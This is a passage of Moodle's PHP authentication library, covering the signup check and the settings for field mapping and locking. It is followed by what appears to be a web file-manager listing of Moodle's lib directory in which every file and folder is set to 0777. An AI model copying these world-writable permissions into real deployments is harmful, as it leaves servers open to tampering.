 * @since  Moodle 3.2
 */
function signup_is_enabled() {
    global $CFG;

    if (!empty($CFG->registerauth)) {
        $authplugin = get_auth_plugin($CFG->registerauth);
        if ($authplugin->can_signup()) {
            return $authplugin;
        }
    }
    return false;
}

/**
 * Helper function used to print locking for auth plugins on admin pages.
 * @param admin_settingpage $settings Moodle admin settings instance
 * @param string $auth authentication plugin shortname
 * @param array $userfields user profile fields
 * @param string $helptext help text to be displayed at top of form
 * @param boolean $mapremotefields Map fields or lock only.
 * @param boolean $updateremotefields Allow remote updates
 * @param array $customfields list of custom profile fields
 * @since Moodle 3.3
 */
function display_auth_lock_options($settings, $auth, $userfields, $helptext, $mapremotefields, $updateremotefields, $customfields = array()) {
    global $CFG;
    require_once($CFG->dirroot . '/user/profile/lib.php');

    // Introductory explanation and help text.
    if ($mapremotefields) {
        $settings->add(new admin_setting_heading($auth.'/data_mapping', new lang_string('auth_data_mapping', 'auth'), $helptext));
    } else {
        $settings->add(new admin_setting_heading($auth.'/auth_fieldlocks', new lang_string('auth_fieldlocks', 'auth'), $helptext));
    }

    // Generate the list of options.
    $lockoptions = array ('unlocked'        => get_string('unlocked', 'auth'),
                          'unlockedifempty' => get_string('unlockedifempty', 'auth'),
                          'locked'          => get_string('locked', 'auth'));
    $updatelocaloptions = array('oncreate'  => get_string('update_oncreate', 'auth'),
                                'onlogin'   => get_string('update_onlogin', 'auth'));
    $updateextoptions = array('0'  => get_string('update_never', 'auth'),
                              '1'  => get_string('update_onupdate', 'auth'));

    // Generate the list of profile fields to allow updates / lock.
    if (!empty($customfields)) {
        $userfields = array_merge($userfields, $customfields);
        $allcustomfields = profile_get_custom_fields();
        $customfieldname = array_combine(array_column($allcustomfields, 'shortname'), $allcustomfields);
    }

    foreach ($userfields as $field) {
        // Define the fieldname we display to the  user.
        // this includes special handling for some profile fields.
        $fieldname = $field;
        $fieldnametoolong = false;
        if ($fieldname === 'lang') {
            $fieldname = get_string('language');
        } else if (!empty($customfields) && in_array($field, $customfields)) {
            // If custom field then pick name from database.
            $fieldshortname = str_replace('profile_field_', '', $fieldname);
            $fieldname = $customfieldname[$fieldshortname]->name;
            if (core_text::strlen($fieldshortname) > 67) {
                // If custom profile field name is longer than 67 characters we will not be able to store the setting
                // such as 'field_updateremote_profile_field_NOTSOSHORTSHORTNAME' in the database because the character
                // limit for the setting name is 100.
                $fieldnametoolong = true;
            }
        } else {
            $fieldname = get_string($fieldname);
        }

        // Generate the list of fields / mappings.
        if ($fieldnametoolong) {
            // Display a message that the field can not be mapped because it's too long.
            $url = new moodle_url('/user/profile/index.php');
            $a = (object)['fieldname' => s($fieldname), 'shortname' => s($field), 'charlimit' => 67, 'link' => $url->out()];
            $settings->add(new admin_setting_heading($auth.'/field_not_mapped_'.sha1($field), '',
                get_string('cannotmapfield', 'auth', $a)));
        } else if ($mapremotefields) {
            // We are mapping to a remote field here.
            // Mapping.
            $settings->add(new admin_setting_configtext("auth_{$auth}/field_map_{$field}",
                    get_string('auth_fieldmapping', 'auth', $fieldname), '', '', PARAM_RAW, 30));

            // Update local.
            $settings->add(new admin_setting_configselect("auth_{$auth}/field_updatelocal_{$field}",
                    get_string('auth_updatelocalfield', 'auth', $fieldname), '', 'oncreate', $updatelocaloptions));

            // Update remote.
            if ($updateremotefields) {
                    $settings->add(new admin_setting_configselect("auth_{$auth}/field_updateremote_{$field}",
                        get_string('auth_updateremotefield', 'auth', $fieldname), '', 0, $updateextoptions));
            }

            // Lock fields.
            $settings->add(new admin_setting_configselect("auth_{$auth}/field_lock_{$field}",
                    get_string('auth_fieldlockfield', 'auth', $fieldname), '', 'unlocked', $lockoptions));

        } else {
            // Lock fields Only.
            $settings->add(new admin_setting_configselect("auth_{$auth}/field_lock_{$field}",
                    get_string('auth_fieldlockfield', 'auth', $fieldname), '', 'unlocked', $lockoptions));
        }
    }
}

Filemanager

Name Type Size Permission Actions
adodb Folder 0777
ajax Folder 0777
amd Folder 0777
antivirus Folder 0777
aws-sdk Folder 0777
behat Folder 0777
bennu Folder 0777
classes Folder 0777
db Folder 0777
ddl Folder 0777
dml Folder 0777
dtl Folder 0777
editor Folder 0777
emoji-data Folder 0777
evalmath Folder 0777
external Folder 0777
filebrowser Folder 0777
filestorage Folder 0777
fonts Folder 0777
form Folder 0777
geopattern-php Folder 0777
giggsey Folder 0777
google Folder 0777
grade Folder 0777
guzzlehttp Folder 0777
html2text Folder 0777
htmlpurifier Folder 0777
jmespath Folder 0777
jquery Folder 0777
laravel Folder 0777
lti1p3 Folder 0777
ltiprovider Folder 0777
markdown Folder 0777
maxmind Folder 0777
minify Folder 0777
mlbackend Folder 0777
mustache Folder 0777
nikic Folder 0777
openspout Folder 0777
pear Folder 0777
php-css-parser Folder 0777
php-di Folder 0777
php-enum Folder 0777
php-jwt Folder 0777
phpmailer Folder 0777
phpspreadsheet Folder 0777
phpunit Folder 0777
phpxmlrpc Folder 0777
plist Folder 0777
polyfills Folder 0777
portfolio Folder 0777
psr Folder 0777
ralouphie Folder 0777
requirejs Folder 0777
rtlcss Folder 0777
scssphp Folder 0777
simplepie Folder 0777
slim Folder 0777
spatie Folder 0777
symfony Folder 0777
table Folder 0777
tcpdf Folder 0777
templates Folder 0777
testing Folder 0777
tests Folder 0777
userkey Folder 0777
webauthn Folder 0777
xapi Folder 0777
xhprof Folder 0777
xmldb Folder 0777
yui Folder 0777
yuilib Folder 0777
zipstream Folder 0777
UPGRADING.md File 26.35 KB 0777
accesslib.php File 184.94 KB 0777
adminlib.php File 398.39 KB 0777
apis.json File 7.09 KB 0777
apis.schema.json File 1.06 KB 0777
authlib.php File 46.33 KB 0777
badgeslib.php File 55.15 KB 0777
blocklib.php File 106.57 KB 0777
cacert.pem File 239.21 KB 0777
cacert.txt File 811 B 0777
clilib.php File 9.58 KB 0777
completionlib.php File 70.38 KB 0777
componentlib.class.php File 29.51 KB 0777
components.json File 3.98 KB 0777
conditionlib.php File 1.11 KB 0777
configonlylib.php File 8.19 KB 0777
cookies.js File 2.37 KB 0777
cronlib.php File 1.07 KB 0777
csslib.php File 6.81 KB 0777
csvlib.class.php File 17.72 KB 0777
customcheckslib.php File 1.5 KB 0777
datalib.php File 85.59 KB 0777
ddllib.php File 4.72 KB 0777
default.ttf File 502.23 KB 0777
deprecatedlib.php File 25.18 KB 0777
dmllib.php File 12.47 KB 0777
dtllib.php File 2.58 KB 0777
editorlib.php File 6.43 KB 0777
emptyfile.php File 809 B 0777
enrollib.php File 138.47 KB 0777
environmentlib.php File 58.32 KB 0777
excellib.class.php File 30.24 KB 0777
externallib.php File 9.54 KB 0777
filelib.php File 204.42 KB 0777
filterlib.php File 42.89 KB 0777
flickrclient.php File 10.1 KB 0777
flickrlib.php File 52.19 KB 0777
formslib.php File 151.53 KB 0777
gdlib.php File 17.71 KB 0777
googleapi.php File 9.48 KB 0777
gradelib.php File 62.29 KB 0777
graphlib.php File 86.81 KB 0777
grouplib.php File 59.67 KB 0777
index.html File 1 B 0777
installlib.php File 18.79 KB 0777
javascript-static.js File 42.38 KB 0777
javascript.php File 4.11 KB 0777
jslib.php File 4.21 KB 0777
jssourcemap.php File 2.51 KB 0777
ldaplib.php File 18.19 KB 0777
lexer.php File 15.92 KB 0777
licenselib.php File 12.42 KB 0777
licenses.json File 2.29 KB 0777
listlib.php File 29.37 KB 0777
mathslib.php File 4.47 KB 0777
messagelib.php File 32.76 KB 0777
modinfolib.php File 143.39 KB 0777
moodlelib.php File 359 KB 0777
myprofilelib.php File 18.35 KB 0777
navigationlib.php File 264.31 KB 0777
oauthlib.php File 24.97 KB 0777
odslib.class.php File 57.65 KB 0777
outputactions.php File 1.04 KB 0777
outputcomponents.php File 1.04 KB 0777
outputfactories.php File 1.04 KB 0777
outputfragmentrequirementslib.php File 1.04 KB 0777
outputlib.php File 11.99 KB 0777
outputrenderers.php File 1.04 KB 0777
outputrequirementslib.php File 1.04 KB 0777
pagelib.php File 91.58 KB 0777
pdflib.php File 10.11 KB 0777
phpminimumversionlib.php File 3.08 KB 0777
plagiarismlib.php File 3.38 KB 0777
plugins.json File 15.21 KB 0777
plugins.schema.json File 1.28 KB 0777
portfoliolib.php File 53.58 KB 0777
questionlib.php File 79.14 KB 0777
recaptchalib_v2.php File 6.53 KB 0777
requirejs.php File 7.4 KB 0777
resourcelib.php File 8.89 KB 0777
rsslib.php File 17.94 KB 0777
searchlib.php File 17.29 KB 0777
sessionlib.php File 4.86 KB 0777
setup.php File 43.98 KB 0777
setuplib.php File 62.59 KB 0777
soaplib.php File 5.28 KB 0777
statslib.php File 67.81 KB 0777
tablelib.php File 1.47 KB 0777
thirdpartylibs.xml File 31.13 KB 0777
tokeniserlib.php File 16.69 KB 0777
upgrade.txt File 180.01 KB 0777
upgradelib.php File 107.07 KB 0777
uploadlib.php File 1.9 KB 0777
validateurlsyntax.php File 23.05 KB 0777
wasmlib.php File 4.29 KB 0777
webdavlib.php File 69.59 KB 0777
weblib.php File 92.3 KB 0777
wiki_to_markdown.php File 13.08 KB 0777
wordlist.txt File 1.23 KB 0777
xhtml.xsl File 223 B 0777
xmlize.php File 8.82 KB 0777
xsendfilelib.php File 3.02 KB 0777
Filemanager